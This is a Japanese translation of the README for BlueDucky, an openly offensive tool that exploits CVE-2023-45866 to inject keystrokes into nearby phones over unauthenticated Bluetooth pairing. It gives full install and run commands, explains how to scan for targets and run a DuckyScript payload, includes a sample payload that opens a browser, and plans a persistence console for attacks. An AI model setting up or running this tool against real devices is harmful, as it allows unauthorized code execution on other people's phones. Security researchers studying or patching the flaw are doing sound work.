BlueDucky バージョン 2.1 (Android) 🦆

HackNexusの皆さんに感謝します。VCに参加してください！ https://discord.gg/HackNexus

メモ: テスト用にRaspberry Pi以外のラップトップや他のデバイスでこれを実行することはできません。そのため、発生した問題は各自で解決してください。アダプターを購入する余裕がありません。

🚨 CVE-2023-45866 - BlueDuckyの実装 (DuckyScriptを使用)

🔓 認証されていないピアリングによるコード実行 (HIDキーボードを使用)

これはmarcnewlinによって発見されたCVEの実装です

はじめに 📢

BlueDuckyはBluetoothデバイスの脆弱性を悪用するための強力なツールです。このスクリプトを実行することで、次のことができます:

📡 見えなくなったがBluetoothが有効なままの、保存済みBluetoothデバイスを読み込む。
📂 スキャンしたすべてのデバイスを自動的に保存する。
💌 デバイスと対話するためにduckyスクリプト形式でメッセージを送信する。

私はこれをRaspberry Pi 4のデフォルトのBluetoothモジュールで正常に実行しました。さまざまな電話機に対して動作しますが、ニュージーランドのブランドVodafoneは例外として興味深いです。

インストールと使用方法 🛠️

Debianベースのセットアップ手順

# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Archベースのセットアップ手順

# update pacman & packages
sudo pacman -Syyu

# install dependencies
# since arch doesn't separate lib packages: libbluetooth-dev included in bluez package
sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \
               python-setuptools python-pydbus python-dbus
               git gcc python-pip \

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

BlueDuckyの実行

git clone https://github.com/pentestfunctions/BlueDucky.git
cd BlueDucky
sudo hciconfig hci0 up
python3 BlueDucky.py

または、

pip3 install -r requirements.txt

操作手順 🕹️

実行時に、ターゲットMACアドレスが要求されます。
何も押さないと、デバイスの自動スキャンが開始されます。
以前に見つかったデバイスはknown_devices.txtに保存されます。
known_devices.txtが存在する場合、スキャン前にこのファイルがチェックされます。
payload.txtファイルを使用して実行します。
実行に成功すると、自動的に接続されスクリプトが実行されます。

Duckyscript 💻

🚧 作業中:

アイデアを提案してください

バージョン 2.1 🐛

UIを更新
ユーザーエクスペリエンスを改善
Bluetoothデバッガー; アプリケーションへのアクセスを許可する前にBluetoothアダプターとインストールされた依存関係をチェックします。これにより、サポートされていないデバイスを防ぎます。
注意: 多くの変更が加えられています。具体的な変更についてはコミット履歴を参照してください。

次のリリースの予定は？

ペイロード実行後に持続性を維持したい攻撃のための統合DuckyScriptコンソール
次に追加すべきものを提案してください！ https://discord.gg/HackNexusに参加

📝 ペイロード.txtの例:

REM ペイロードのタイトル
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D

REM プライベートブラウザを開いてhackertyper.netにアクセス
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSERはCTRL + SHIFT + Nと同じ
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING hackertyper.net
DELAY 300
ENTER
DELAY 300

BlueDucky

人気